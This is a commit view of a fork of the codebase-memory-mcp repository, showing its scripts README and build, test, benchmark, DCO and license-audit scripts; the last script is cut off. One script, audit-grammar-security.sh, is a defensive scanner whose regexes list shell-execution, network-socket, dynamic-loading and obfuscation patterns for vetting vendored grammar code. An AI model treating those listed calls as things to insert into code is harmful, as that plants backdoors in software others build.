初始提交:codebase-memory-mcp - Codebase Memory MCP Server

Fork from https://github.com/DeusData/codebase-memory-mcp
Go 实现,提供代码库记忆功能的 MCP 服务器
This commit is contained in:
xiaowei
2026-07-30 09:18:35 +08:00
commit f1e40eebb4
2049 changed files with 38420279 additions and 0 deletions
+65
View File
@@ -0,0 +1,65 @@
# scripts/ — the canonical leg entries
**The doctrine (enforced, not advisory):** *a venue may provision a machine;
only a canonical leg script may exercise the product.* Local CI, PR CI, the
dry run and the release all call the SAME files below — venues differ only in
host specs, architecture and inputs, never in what a leg does. Platform
differences (arm64 sanitizer flags, the Windows launcher, the linux portable
binary) live INSIDE these scripts, once, never per-venue.
`tests/test_venue_parity_contract.sh` (run as Step 0j of every test leg) turns
any violation — inline harness logic in a workflow, a bypassed wrapper, a
missing `--help` — into a red build.
Every entry answers `--help` (authoritative, agent-oriented: modes, env, exit
codes) and rejects unknown flags with exit 2 + `Please consult --help.`
## The legs
| leg | entry | what a run gives you |
|---|---|---|
| **test** | `test.sh` | DEFAULT = the venue leg: static contracts (Step 0a–0j) + CLEAN ASan+UBSan build + all suites via the parallel harness + prod-binary guards. `--suites a,b` = iteration mode (incremental rebuild, subset, seconds). `--tsan` = the ThreadSanitizer leg. CLANGARM64 gets CI's trap-UBSan flags automatically. |
| **build** | `build.sh` | CLEAN production build (+ launcher on Windows). ccache via `env.sh` makes repeats fast; `CCACHE_COMPILERCHECK=content` guarantees a hit is byte-identical to a cold compile — never stale. `--with-ui`, `--version`, `STATIC=1`, `BUILD_DIR=`. |
| **lint** | `lint.sh` | clang-tidy + cppcheck + clang-format (+ no-skips policy). `--ci` = the CI gate set (no clang-tidy). Drives the same make targets as `make lint`/`lint-ci`. |
| **smoke (unix)** | `smoke-local.sh` | Stages a full release fixture, serves it on a kernel-assigned port, runs `smoke-test.sh` (ALL phases incl. download/install/update E2E) inside a disposable HOME/XDG/TMP sandbox. `ui` variant makes a missing embedded UI a FAILURE. `CBM_SMOKE_ARTIFACT_DIR` = smoke an extracted release artifact verbatim (release mode). |
| **smoke (windows)** | `../test-infrastructure/vm/vm-smoke.sh` | Same contract for the launcher+payload pair, plus the user-PATH registry guard (prepare/verify/cleanup). |
| **smoke-invariants** | `smoke-invariants.sh` | The "shipped binary does not fail" battery (MCP handshake, all tools invocable, malformed-input resilience) — no fixture server, no install E2E. `smoke.yml` runs it on the WIDEST build-from-source matrix (incl. older-glibc legs the release artifacts cannot cover). |
| **soak** | `soak-legs.sh` | The release-gating soak SEQUENCE: `quick` then `query-leak` (the #581 detector — never reindexes, so RSS growth = query-path leak), each guarded by a completion-summary check. `--legs quick` for the ASan single-leg variant. Duration is per leg. |
Internal harnesses — never called directly by a venue (the contract forbids
it): `smoke-test.sh` (phases; wrappers provide fixture server + sandbox),
`soak-test.sh` (one soak run; `soak-legs.sh` provides the sequence + guards),
`run-tests-parallel.sh` (reached through `test.sh`).
## Conventions
- **Exit codes:** 0 = pass · 2 = usage error · 90 = guard (a run died without
its completion summary — never counts as green) · anything else = the leg's
real failure.
- **Iteration is a flag, not a side-tool:** the fast paths (`--suites`,
`--legs`) are modes of the SAME entry the gates run, so a dev loop can never
drift from the venue behaviour.
- **Env sandboxing:** the smoke wrappers neutralize every agent-config
destination override; a smoke can never scribble on your real config.
## Recommended workflows
- **Iterating on a change:** `scripts/test.sh --suites <suite>` (seconds,
incremental, same ASan+UBSan flags as the gate). List suites:
`build/c/test-runner --list-suites`. Debugging a Windows-on-ARM trap:
re-run with `SANITIZE=` for a plain build, or use the emulated
`win.sh ubsan-*` pair for full diagnostics.
- **Before any push (the 3-OS ladder):** `scripts/test.sh` (macOS, full) →
`./test-infrastructure/run.sh full` (Linux + TSan + smoke) →
`test-infrastructure/vm/win.sh test-par` + `guards` + `smoke-install`
(+ `soak` when the change touches memory/daemon paths).
- **Concurrency-touching change:** add `scripts/test.sh --tsan` early — the
same leg CI gates on.
- **Release-shaped verification:** `CBM_SMOKE_ARTIFACT_DIR=<extracted artifact>
scripts/smoke-local.sh <binary> [ui]` smokes exactly what would ship.
- **A leg is red in CI but green locally:** first suspect environment shape,
not code — the preflights (`win.sh` automatic; `scripts/ci/preflight-docker.sh`)
and `test-infrastructure/README.md`'s residuals list cover the knowable
differences.
See `scripts/ci/README.md` for the CI plumbing and
`test-infrastructure/README.md` for the venue map.
+116
View File
@@ -0,0 +1,116 @@
#!/usr/bin/env bash
set -euo pipefail
# audit-grammar-security.sh — Scan vendored tree-sitter grammar scanner.c
# files for dangerous patterns that could indicate malicious code.
#
# Grammars are third-party C source compiled into our binary. parser.c files
# are auto-generated (low risk), but scanner.c files are hand-written C with
# access to memory allocation and input text.
#
# Usage: scripts/audit-grammar-security.sh [directory]
# Default: internal/cbm/vendored/grammars/
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
GRAMMAR_DIR="${1:-$ROOT/internal/cbm/vendored/grammars}"
if [ ! -d "$GRAMMAR_DIR" ]; then
echo "ERROR: directory not found: $GRAMMAR_DIR" >&2
exit 1
fi
echo "=== Grammar Security Audit ==="
echo "Scanning: $GRAMMAR_DIR"
echo ""
TOTAL=0
WARNED=0
BLOCKED=0
# Safe includes that scanners legitimately use
SAFE_INCLUDES='string\.h|stdint\.h|stdbool\.h|stdlib\.h|wctype\.h|stdio\.h|stddef\.h|limits\.h|assert\.h|ctype\.h|wchar\.h|math\.h|stdalign\.h|stdarg\.h|float\.h|inttypes\.h'
# Dangerous includes
DANGER_INCLUDES='unistd\.h|sys/|netdb\.h|dlfcn\.h|signal\.h|spawn\.h|pthread\.h|fcntl\.h|dirent\.h|termios\.h|arpa/|netinet/'
# Dangerous function calls (word-boundary \b to avoid matching lex_accept, etc.)
# getenv("TREE_SITTER_DEBUG") is a standard tree-sitter pattern, excluded.
DANGER_CALLS='\bsystem\s*\(|\bexec[lvpe]+\s*\(|\bpopen\s*\(|\bfopen\s*\(|\bfwrite\s*\(|\bsocket\s*\(|\bfork\s*\(|\bdlopen\s*\(|\bconnect\s*\(|\bbind\s*\(|\blisten\s*\(|\bsendto\s*\(|\brecvfrom\s*\(|\bmmap\s*\(|\bmprotect\s*\('
# getenv is only dangerous for non-debug uses
DANGER_GETENV='\bgetenv\s*\('
SAFE_GETENV='TREE_SITTER_DEBUG'
# Suspicious patterns
SUSPICIOUS='__attribute__\s*\(\s*\(\s*constructor|__attribute__\s*\(\s*\(\s*destructor|asm\s*\(|__asm__|__asm\b'
for grammar_dir in "$GRAMMAR_DIR"/*/; do
name=$(basename "$grammar_dir")
TOTAL=$((TOTAL + 1))
issues=""
for src in "$grammar_dir"scanner.c "$grammar_dir"scanner.cc "$grammar_dir"*.h "$grammar_dir"*.inc; do
[ -f "$src" ] || continue
basename_src=$(basename "$src")
# Skip tree_sitter/ subdirectory headers (those are standard)
case "$src" in
*/tree_sitter/*) continue ;;
esac
# Check dangerous includes
while IFS= read -r line; do
issues="${issues} WARN $basename_src: dangerous include: $line\n"
done < <(grep -nE "#include\s*<($DANGER_INCLUDES)" "$src" 2>/dev/null || true)
# Check dangerous calls
while IFS= read -r line; do
issues="${issues} BLOCK $basename_src: dangerous call: $line\n"
done < <(grep -nE "$DANGER_CALLS" "$src" 2>/dev/null || true)
# Check getenv separately (allow TREE_SITTER_DEBUG)
while IFS= read -r line; do
if ! echo "$line" | grep -qF "$SAFE_GETENV"; then
issues="${issues} BLOCK $basename_src: dangerous call: $line\n"
fi
done < <(grep -nE "$DANGER_GETENV" "$src" 2>/dev/null || true)
# Check suspicious patterns
while IFS= read -r line; do
issues="${issues} BLOCK $basename_src: suspicious pattern: $line\n"
done < <(grep -nE "$SUSPICIOUS" "$src" 2>/dev/null || true)
# Check for base64-like long encoded strings (40+ alphanumeric chars)
while IFS= read -r line; do
issues="${issues} WARN $basename_src: possible encoded data: $line\n"
done < <(grep -nE '"[A-Za-z0-9+/]{60,}={0,2}"' "$src" 2>/dev/null || true)
done
if [ -n "$issues" ]; then
if echo -e "$issues" | grep -q "BLOCK"; then
echo "BLOCK $name:"
echo -e "$issues"
BLOCKED=$((BLOCKED + 1))
else
echo "WARN $name:"
echo -e "$issues"
WARNED=$((WARNED + 1))
fi
fi
done
echo "────────────────────────────────────────────"
echo " Scanned: $TOTAL grammars"
echo " Clean: $((TOTAL - WARNED - BLOCKED))"
echo " Warned: $WARNED"
echo " Blocked: $BLOCKED"
echo "────────────────────────────────────────────"
if [ "$BLOCKED" -gt 0 ]; then
echo ""
echo "FAILED: $BLOCKED grammar(s) have dangerous patterns. Review before vendoring."
exit 1
fi
echo ""
echo "PASSED: No dangerous patterns found."
exit 0
+226
View File
@@ -0,0 +1,226 @@
#!/usr/bin/env python3
"""Byte-identity audit: compare every vendored license file against upstream.
Verdicts:
IDENTICAL byte-equal to the upstream default-branch license
IDENTICAL@PINNED byte-equal to the license at the manifest's pinned commit
FIRST-PARTY-OK byte-equal to the project root LICENSE
FIRST-PARTY-VAR first-party but text differs from root LICENSE (inspect)
DIFFERS no byte-equal upstream candidate found (inspect)
ERROR upstream fetch failed
"""
import base64
import json
import os
import re
import subprocess
import sys
ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
GRAMMARS = os.path.join(ROOT, "internal/cbm/vendored/grammars")
FIRST_PARTY = {"cobol", "form", "janet", "magma", "protobuf", "wolfram"}
FORKS = { # self-maintained forks: vendored LICENSE must match the original upstream
"cfml": "cfmleditor/tree-sitter-cfml",
"cfscript": "cfmleditor/tree-sitter-cfml",
"dotenv": "pnx/tree-sitter-dotenv",
"qml": "yuja/tree-sitter-qmljs",
}
SPECIAL_NOTICE = {
"assembly": "RETAINED-MIT (upstream RubixDev/tree-sitter-assembly deleted from GitHub)",
"pine": "PROVENANCE-NOTICE (upstream kvarenzn/tree-sitter-pine declares ISC, ships no license file)",
}
DISAGREEMENT = {
"jinja2": "dbt-labs/tree-sitter-jinja2",
"just": "casey/tree-sitter-just",
"move": "tzakian/tree-sitter-move",
"sshconfig": "ObserverOfTime/tree-sitter-ssh-config",
"zsh": "georgeharker/tree-sitter-zsh",
}
LIBS = {
"vendored/mimalloc": ("microsoft/mimalloc", None),
"vendored/tre": ("laurikari/tre", None),
"vendored/xxhash": ("Cyan4973/xxHash", None),
"vendored/yyjson": ("ibireme/yyjson", None),
"internal/cbm/vendored/lz4": ("lz4/lz4", "lib/LICENSE"),
"internal/cbm/vendored/zstd": ("facebook/zstd", None),
"internal/cbm/vendored/simplecpp": ("danmar/simplecpp", None),
"internal/cbm/vendored/verstable": ("JacksonAllan/Verstable", None),
"internal/cbm/vendored/wyhash": ("wangyi-fudan/wyhash", None),
"internal/cbm/vendored/ts_runtime": ("tree-sitter/tree-sitter", None),
"internal/cbm/vendored/common": ("tree-sitter/tree-sitter-html", None),
"internal/cbm/vendored/common/tree_sitter": ("tree-sitter/tree-sitter", None),
}
CANDIDATE_NAMES = ["LICENSE", "LICENSE.md", "LICENSE.txt", "COPYING",
"COPYING.txt", "LICENSE-MIT", "UNLICENSE", "LICENCE",
"license", "License.txt", "NOTICE"]
def gh_api(path):
r = subprocess.run(["gh", "api", path], capture_output=True, text=True)
if r.returncode != 0:
return None
return r.stdout
def upstream_default_license(repo):
out = gh_api(f"repos/{repo}/license")
if not out:
return None
try:
d = json.loads(out)
return base64.b64decode(d.get("content", "")).decode("utf-8", "replace")
except Exception:
return None
def upstream_file(repo, path, ref=None):
url = f"repos/{repo}/contents/{path}"
if ref:
url += f"?ref={ref}"
out = gh_api(url)
if not out:
return None
try:
d = json.loads(out)
if isinstance(d, dict) and d.get("content"):
return base64.b64decode(d["content"]).decode("utf-8", "replace")
except Exception:
pass
return None
def local_license(dirpath):
if not os.path.isdir(dirpath):
return None, None
for f in sorted(os.listdir(dirpath)):
if re.match(r"^(LICENSE|LICENCE|COPYING|UNLICENSE)", f, re.I):
p = os.path.join(dirpath, f)
with open(p, encoding="utf-8", errors="replace") as fh:
return f, fh.read()
return None, None
def parse_manifest():
"""grammar -> (repo, pinned_commit) from the verified-upstream table."""
out = {}
with open(os.path.join(GRAMMARS, "MANIFEST.md"), encoding="utf-8") as fh:
for line in fh:
m = re.match(
r"^\| (\w[\w.+-]*) \| \d+ \| ([\w.-]+/[\w.-]+) \| `([^`]+)` \|", line)
if m:
out[m.group(1)] = (m.group(2), m.group(3))
return out
def main():
with open(os.path.join(ROOT, "LICENSE"), encoding="utf-8") as fh:
root_license = fh.read()
manifest = parse_manifest()
results = {}
def check_upstream(key, dirpath, repo, pinned=None, exact_path=None):
fname, ours = local_license(dirpath)
if ours is None:
results[key] = ("NO-LOCAL-LICENSE", "")
return
# 1) exact upstream path (e.g. lz4 lib/LICENSE), at HEAD then pinned
if exact_path:
for ref in (None, pinned):
up = upstream_file(repo, exact_path, ref)
if up is not None and up == ours:
results[key] = ("IDENTICAL" if ref is None else "IDENTICAL@PINNED",
f"{repo}:{exact_path}")
return
# 2) default-branch detected license
up = upstream_default_license(repo)
if up is not None and up == ours:
results[key] = ("IDENTICAL", f"{repo} (default branch)")
return
# 3) pinned-commit candidates by filename
if pinned:
tried = [fname] + [c for c in CANDIDATE_NAMES if c != fname]
for cand in tried:
up2 = upstream_file(repo, cand, pinned)
if up2 is not None and up2 == ours:
results[key] = ("IDENTICAL@PINNED", f"{repo}:{cand}@{pinned}")
return
# 4) HEAD candidates by filename
for cand in CANDIDATE_NAMES:
up3 = upstream_file(repo, cand)
if up3 is not None and up3 == ours:
results[key] = ("IDENTICAL", f"{repo}:{cand} (default branch)")
return
results[key] = ("DIFFERS" if up is not None else "ERROR", f"{repo}")
# Libraries
for rel, (repo, exact) in LIBS.items():
check_upstream(rel, os.path.join(ROOT, rel), repo, exact_path=exact)
# Special: nomic = canonical Apache-2.0 text; sqlite3 = first-party notice
fname, ours = local_license(os.path.join(ROOT, "vendored/nomic"))
apache = subprocess.run(
["curl", "-fsSL", "https://www.apache.org/licenses/LICENSE-2.0.txt"],
capture_output=True, text=True).stdout
results["vendored/nomic"] = (
"IDENTICAL" if ours == apache else "DIFFERS",
"apache.org canonical LICENSE-2.0.txt")
results["vendored/sqlite3"] = ("FIRST-PARTY-NOTICE",
"own public-domain notice (sqlite has no upstream LICENSE)")
# Grammars
for g in sorted(os.listdir(GRAMMARS)):
d = os.path.join(GRAMMARS, g)
if not os.path.isdir(d):
continue
key = f"grammars/{g}"
if g in FIRST_PARTY:
fname, ours = local_license(d)
if ours == root_license:
results[key] = ("FIRST-PARTY-OK", "== project root LICENSE")
else:
results[key] = ("FIRST-PARTY-VAR", f"{fname}: differs from root LICENSE")
continue
if g in FORKS:
check_upstream(key, d, FORKS[g])
continue
if g in SPECIAL_NOTICE:
results[key] = ("MANUAL-VERIFIED", SPECIAL_NOTICE[g])
continue
if g in DISAGREEMENT:
check_upstream(key, d, DISAGREEMENT[g])
continue
if g in manifest:
repo, pinned = manifest[g]
check_upstream(key, d, repo, pinned=pinned)
continue
results[key] = ("NO-MANIFEST-ENTRY", "")
# Report
from collections import Counter
counts = Counter(v[0] for v in results.values())
print("=== verdict histogram ===")
for k, v in counts.most_common():
print(f" {k}: {v}")
print()
print("=== everything that is NOT byte-identical ===")
for key in sorted(results):
verdict, detail = results[key]
if verdict not in ("IDENTICAL", "IDENTICAL@PINNED", "FIRST-PARTY-OK"):
print(f" {key}: {verdict} [{detail}]")
json.dump({k: list(v) for k, v in results.items()},
open("/tmp/audit_licenses_results.json", "w"), indent=1)
print("\nfull results: /tmp/audit_licenses_results.json")
accepted = {"IDENTICAL", "IDENTICAL@PINNED", "FIRST-PARTY-OK",
"FIRST-PARTY-NOTICE", "MANUAL-VERIFIED"}
bad = {k: v for k, v in results.items() if v[0] not in accepted}
if bad:
print(f"\nPROVENANCE AUDIT FAILED: {len(bad)} unexplained verdict(s)")
sys.exit(1)
print("\nPROVENANCE AUDIT PASSED: every vendored license accounted for")
if __name__ == "__main__":
main()
+82
View File
@@ -0,0 +1,82 @@
#!/usr/bin/env bash
set -euo pipefail
# Index a single benchmark repository and capture metrics.
# Usage: benchmark-index.sh <binary> <lang> <repo_path> <results_dir>
BINARY="${1:?Usage: benchmark-index.sh <binary> <lang> <repo_path> <results_dir>}"
LANG="${2:?}"
REPO="${3:?}"
RESULTS_DIR="${4:?}"
# Resolve symlinks
REPO=$(cd "$REPO" && pwd -P)
OUT="$RESULTS_DIR/$LANG"
mkdir -p "$OUT"
echo "INDEX: $LANG ($REPO)"
# Count source files and LOC (exclude .git, vendor, node_modules, build dirs)
FILE_COUNT=$(find "$REPO" -type f \
! -path '*/.git/*' ! -path '*/node_modules/*' ! -path '*/vendor/*' \
! -path '*/target/*' ! -path '*/build/*' ! -path '*/dist/*' \
! -path '*/__pycache__/*' ! -path '*/.cache/*' \
| wc -l | tr -d ' ')
LOC=$(find "$REPO" -type f \
! -path '*/.git/*' ! -path '*/node_modules/*' ! -path '*/vendor/*' \
! -path '*/target/*' ! -path '*/build/*' ! -path '*/dist/*' \
! -path '*/__pycache__/*' ! -path '*/.cache/*' \
-exec cat {} + 2>/dev/null | wc -l | tr -d ' ')
echo "$FILE_COUNT" > "$OUT/file-count.txt"
echo "$LOC" > "$OUT/loc.txt"
# Index via CLI and capture timing
START_MS=$(python3 -c "import time; print(int(time.time()*1000))")
INDEX_JSON=$("$BINARY" cli index_repository "{\"repo_path\":\"$REPO\",\"mode\":\"full\"}" 2>/dev/null || echo '{"error":"index failed"}')
END_MS=$(python3 -c "import time; print(int(time.time()*1000))")
ELAPSED=$((END_MS - START_MS))
echo "$INDEX_JSON" > "$OUT/00-index.json"
echo "$ELAPSED" > "$OUT/index-time.txt"
# Extract node/edge counts (CLI wraps in MCP content envelope)
NODES=$(echo "$INDEX_JSON" | python3 -c "
import json,sys
d=json.load(sys.stdin)
# Unwrap MCP content envelope if present
if 'content' in d:
inner=json.loads(d['content'][0]['text'])
else:
inner=d
print(inner.get('nodes',0))
" 2>/dev/null || echo "0")
EDGES=$(echo "$INDEX_JSON" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'content' in d:
inner=json.loads(d['content'][0]['text'])
else:
inner=d
print(inner.get('edges',0))
" 2>/dev/null || echo "0")
PROJECT=$(echo "$INDEX_JSON" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'content' in d:
inner=json.loads(d['content'][0]['text'])
else:
inner=d
print(inner.get('project',''))
" 2>/dev/null || echo "")
echo "$NODES" > "$OUT/nodes.txt"
echo "$EDGES" > "$OUT/edges.txt"
echo "$PROJECT" > "$OUT/project.txt"
printf " %s: %s files, %s LOC, %sms, %s nodes, %s edges\n" \
"$LANG" "$FILE_COUNT" "$LOC" "$ELAPSED" "$NODES" "$EDGES"
+63
View File
@@ -0,0 +1,63 @@
#!/usr/bin/env bash
# benchmark-search-graph.sh — Time search_graph name_pattern= queries against a
# codebase-memory-mcp binary to measure the regex / LIKE pre-filter performance.
#
# Usage:
# scripts/benchmark-search-graph.sh <binary-path> <project-name>
#
# Example:
# scripts/benchmark-search-graph.sh ./build/c/codebase-memory-mcp my-project
set -euo pipefail
BINARY="${1:?Usage: $0 <binary-path> <project-name>}"
PROJECT="${2:?Usage: $0 <binary-path> <project-name>}"
echo "Binary: $BINARY"
echo "Project: $PROJECT"
echo ""
run_case() {
local label="$1"
local request="$2"
local start end elapsed_ms result
start=$(date +%s%3N)
result=$(echo "$request" | "$BINARY" 2>/dev/null || true)
end=$(date +%s%3N)
elapsed_ms=$(( end - start ))
local count
count=$(echo "$result" | python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
content = d.get('result', {}).get('content', [{}])[0].get('text', '{}')
obj = json.loads(content)
print(obj.get('total', obj.get('count', '?')))
except Exception:
print('?')
" 2>/dev/null || echo "?")
printf " %-55s %5dms (total=%s)\n" "$label" "$elapsed_ms" "$count"
}
sg() {
local project="$1"
local args="$2"
printf '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"search_graph","arguments":{"project":"%s",%s}}}' \
"$project" "$args"
}
echo "=== search_graph name_pattern= benchmarks ==="
run_case "name_pattern=.*Controller.*" "$(sg "$PROJECT" '"name_pattern":".*Controller.*","limit":20')"
run_case "name_pattern=.*Service.*" "$(sg "$PROJECT" '"name_pattern":".*Service.*","limit":20')"
run_case "name_pattern=.*Repository.*" "$(sg "$PROJECT" '"name_pattern":".*Repository.*","limit":20')"
run_case "name_pattern=specificFunctionName" "$(sg "$PROJECT" '"name_pattern":"specificFunctionName","limit":20')"
run_case "label=Method + name_pattern=.*get.*" "$(sg "$PROJECT" '"label":"Method","name_pattern":".*get.*","limit":20')"
echo ""
echo "=== search_graph query= benchmarks (BM25 path) ==="
run_case "query=controller service handler" "$(sg "$PROJECT" '"query":"controller service handler","limit":20')"
run_case "query=user authentication permission role" "$(sg "$PROJECT" '"query":"user authentication permission role","limit":20')"
run_case "query=create update delete manage list view admin" "$(sg "$PROJECT" '"query":"create update delete manage list view admin","limit":20')"
+159
View File
@@ -0,0 +1,159 @@
#!/usr/bin/env bash
# build.sh — Clean build of production binary (standard or with UI).
#
# Usage:
# scripts/build.sh # Standard binary
# scripts/build.sh --with-ui # Binary with embedded UI
# scripts/build.sh --help # Full usage
# scripts/build.sh --version v0.8.0 # With version stamp
# scripts/build.sh --arch x86_64 # Force x86_64 build
# scripts/build.sh CC=gcc-14 CXX=g++-14 # Override compiler
#
# This script is the SINGLE source of truth for building release binaries.
# Used identically in local development and CI workflows.
set -euo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
cd "$ROOT"
usage() {
cat <<'EOF'
Usage: scripts/build.sh [--with-ui] [--version V] [--arch ARCH] [VAR=VAL ...]
The canonical production-build entry: identical in local CI, PR CI, dry run
and release. Always a CLEAN build of BUILD_DIR (build/c by default) — the
content-verified compiler cache (ccache via scripts/env.sh) makes repeat
builds fast without ever reusing a stale object: every object is re-derived
from current sources; a cache hit is byte-identical to a cold compile by
construction (CCACHE_COMPILERCHECK=content).
Options:
--with-ui Embed the web UI (builds the frontend first; needs node).
--version V Stamp the version string (release venue passes the tag).
--arch ARCH Force target arch (arm64 | x86_64), e.g. under Rosetta.
-h, --help This text.
Make passthrough (VAR=VAL, forwarded verbatim):
CC= CXX= Compiler override (venues pass their matrix compiler).
BUILD_DIR= Build in an isolated directory — REQUIRED when a clean
product build must not wipe build/c's test-runner (e.g.
build/smoke for the local ladder smoke).
STATIC=1 Fully static portable build (Alpine/musl leg).
EXTRA_CFLAGS= EXTRA_LDFLAGS= Sanitizer soak builds (see _soak.yml).
Environment:
CBM_NO_CCACHE=1 Disable the compiler cache (build correctness is identical;
only speed changes).
Callers: _build.yml (all release artifacts) · pr.yml pr-smoke · every
docker-compose build/smoke service · win.sh build (Windows VM ladder).
EOF
}
for arg in "$@"; do
case "$arg" in
-h|--help) usage; exit 0 ;;
esac
done
# Pre-parse --arch flag before sourcing env.sh
for arg in "$@"; do
case "$arg" in
--arch=*) export CBM_ARCH="${arg#--arch=}" ;;
esac
done
prev_arg=""
for arg in "$@"; do
if [[ "${prev_arg:-}" == "--arch" ]]; then
export CBM_ARCH="$arg"
fi
prev_arg="$arg"
done
# shellcheck source=env.sh
source "$ROOT/scripts/env.sh"
# shellcheck source=path-safety.sh
source "$ROOT/scripts/path-safety.sh"
# Parse remaining arguments. BUILD_DIR is tracked for the clean step below so
# containerized legs can build in their own directory instead of deleting and
# clobbering the host's native build/c artifacts.
WITH_UI=false
VERSION=""
BUILD_DIR="build/c"
EXTRA_MAKE_ARGS=()
prev_arg=""
for arg in "$@"; do
# Skip --arch and its value (already handled)
if [[ "${prev_arg:-}" == "--arch" ]]; then
prev_arg="$arg"
continue
fi
case "$arg" in
--with-ui)
WITH_UI=true
;;
--version)
prev_arg="$arg"
continue
;;
--arch|--arch=*)
;; # already handled
-*)
# STRICT: an unknown flag never falls through into make where it
# would fail cryptically (or worse, be absorbed).
echo "build.sh: unknown option '$arg'. Please consult --help." >&2
exit 2
;;
BUILD_DIR=*)
BUILD_DIR="${arg#BUILD_DIR=}"
EXTRA_MAKE_ARGS+=("$arg")
;;
CC=*|CXX=*)
export "${arg}"
EXTRA_MAKE_ARGS+=("$arg")
;;
*=*)
EXTRA_MAKE_ARGS+=("$arg") # VAR=VAL make passthrough
;;
*)
# Bare words are only ever the value of --version; anything else is
# a usage error, not a silent make argument.
if [[ "${prev_arg:-}" == "--version" ]]; then
VERSION="$arg"
else
echo "build.sh: unexpected argument '$arg'. Please consult --help." >&2
exit 2
fi
;;
esac
prev_arg="$arg"
done
# Version flag
CFLAGS_EXTRA=""
if [[ -n "$VERSION" ]]; then
CLEAN_VERSION="${VERSION#v}"
CFLAGS_EXTRA="-DCBM_VERSION=\"\\\"$CLEAN_VERSION\\\"\""
fi
print_env "build.sh"
echo " ui=$WITH_UI version=${VERSION:-dev}"
# Verify compiler supports target arch
verify_compiler "$CC"
# Step 1: Clean C build artifacts only (not node_modules — npm ci handles that)
cbm_remove_build_dir "$ROOT" "$BUILD_DIR"
# Step 2: Build (Makefile applies $ARCHFLAGS for the target arch on macOS)
if $WITH_UI; then
make -j"$NPROC" -f Makefile.cbm cbm-with-ui \
CFLAGS_EXTRA="$CFLAGS_EXTRA" "${EXTRA_MAKE_ARGS[@]+"${EXTRA_MAKE_ARGS[@]}"}"
else
make -j"$NPROC" -f Makefile.cbm cbm \
CFLAGS_EXTRA="$CFLAGS_EXTRA" "${EXTRA_MAKE_ARGS[@]+"${EXTRA_MAKE_ARGS[@]}"}"
fi
echo "=== Build complete: ${BUILD_DIR}/codebase-memory-mcp ==="
+43
View File
@@ -0,0 +1,43 @@
#!/usr/bin/env bash
set -euo pipefail
# DCO enforcement: every commit in the given range must carry a
# Signed-off-by trailer whose email matches the commit author
# (Developer Certificate of Origin 1.1 — see the DCO file).
#
# Usage: check-dco.sh <range> e.g. origin/main..HEAD, sha1..sha2
#
# Exemptions (same as the standard DCO checks): merge commits and
# bot-authored commits (author name ending in [bot]).
RANGE="${1:?usage: check-dco.sh <commit-range>}"
FAIL=0
CHECKED=0
while IFS= read -r sha; do
# Skip merge commits
nparents=$(git rev-list --no-walk --parents -n1 "$sha" | wc -w)
if [ "$nparents" -gt 2 ]; then
continue
fi
author_name=$(git log -1 --format='%an' "$sha")
case "$author_name" in
*"[bot]") continue ;;
esac
CHECKED=$((CHECKED + 1))
author_email=$(git log -1 --format='%ae' "$sha")
trailers=$(git log -1 --format='%(trailers:key=Signed-off-by,valueonly)' "$sha")
if ! printf '%s' "$trailers" | grep -qiF "<$author_email>"; then
echo "BLOCKED: $sha lacks a Signed-off-by matching its author:"
git log -1 --format=' author: %an <%ae>%n subject: %s' "$sha"
echo " fix: git commit --amend -s (or: git rebase --signoff <base>)"
FAIL=1
fi
done < <(git rev-list "$RANGE")
if [ "$FAIL" -ne 0 ]; then
echo "=== DCO CHECK FAILED — every commit must be signed off (git commit -s) ==="
echo "=== See the DCO file and CONTRIBUTING.md ==="
exit 1
fi
echo "OK: $CHECKED commit(s) in $RANGE carry a valid Signed-off-by"
+227
View File
@@ -0,0 +1,227 @@
#!/usr/bin/env bash
# check-lsp-originality.sh — Provenance guard for the hybrid LSP implementations.
#
# WHY THIS EXISTS
# The LSP layer (internal/cbm/lsp/) is an original C implementation whose
# behavior is "structurally inspired by and compatible with" the reference
# language servers (pyright, gopls, tsserver, Roslyn, clangd, rust-analyzer,
# …). We claim it contains NO source copied from those projects. This script
# is the documented, runnable check that backs that claim — run it before
# committing any NEW LSP implementation work, and review its report.
#
# WHAT IT CATCHES (the realistic copy "tells", and they survive a language port)
# 1. Verbatim string / error-message literals shared with a reference.
# 2. Verbatim comment phrases shared with a reference (the classic port tell:
# people re-type the logic but keep the explanatory comments).
# 3. Same-language structural clones via jscpd (uses `jscpd` on PATH, else
# `npx --yes jscpd`) — token-level clone detection, run only for clangd
# (C++ ↔ our C), the one reference close enough to C to tokenize alike.
#
# WHAT IT CANNOT CATCH (be honest — these need a human)
# An algorithm ported line-by-line with every identifier/comment rewritten is
# NOT machine-detectable cheaply across C↔TS/Go/C#/Rust/Java. A clean report
# is necessary, not sufficient: it means "no verbatim overlap found", not
# "provably independent". The git history (incremental, test-driven authorship)
# is the complementary evidence; keep it clean.
#
# USAGE
# bash scripts/check-lsp-originality.sh [--lang NAME] [--refresh]
# [--list-candidates] [--help]
# --lang NAME scan against ONE reference only (py|ts|go|cs|c|java|kotlin|rust|php|perl)
# --refresh re-fetch reference sources even if cached
# --list-candidates print the extracted local tokens and exit (no fetch; self-test)
# Exit 0 = no verbatim overlap found. Exit 1 = overlap(s) to review by a human.
#
# Reference sources are shallow/sparse-cloned into $LSP_REFS_DIR (default
# .lsp-refs/, gitignored). Adding a new LSP language? Add its upstream repo to
# the REFS manifest below so this guard covers it too.
set -uo pipefail
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
TAG="[lsp-orig]"
LSP_DIR="$ROOT/internal/cbm/lsp"
REFS_DIR="${LSP_REFS_DIR:-$ROOT/.lsp-refs}"
# Tunables (override via env).
MIN_STR="${LSP_ORIG_MIN_STR:-16}" # min length of a string literal to consider
MIN_COMMENT="${LSP_ORIG_MIN_COMMENT:-30}" # min length of a comment phrase to consider
MIN_TOKENS="${LSP_ORIG_MIN_TOKENS:-50}" # jscpd structural-clone min token run
# Reference manifest: lang | git URL | sparse subpath (light checkout)
REFS=(
"py|https://github.com/microsoft/pyright|packages/pyright-internal/src"
"ts|https://github.com/microsoft/TypeScript|src/compiler,src/services"
"go|https://github.com/golang/tools|gopls/internal"
"cs|https://github.com/dotnet/roslyn|src/Compilers/CSharp/Portable"
"c|https://github.com/llvm/llvm-project|clang-tools-extra/clangd"
"java|https://github.com/eclipse-jdtls/eclipse.jdt.ls|org.eclipse.jdt.ls.core/src"
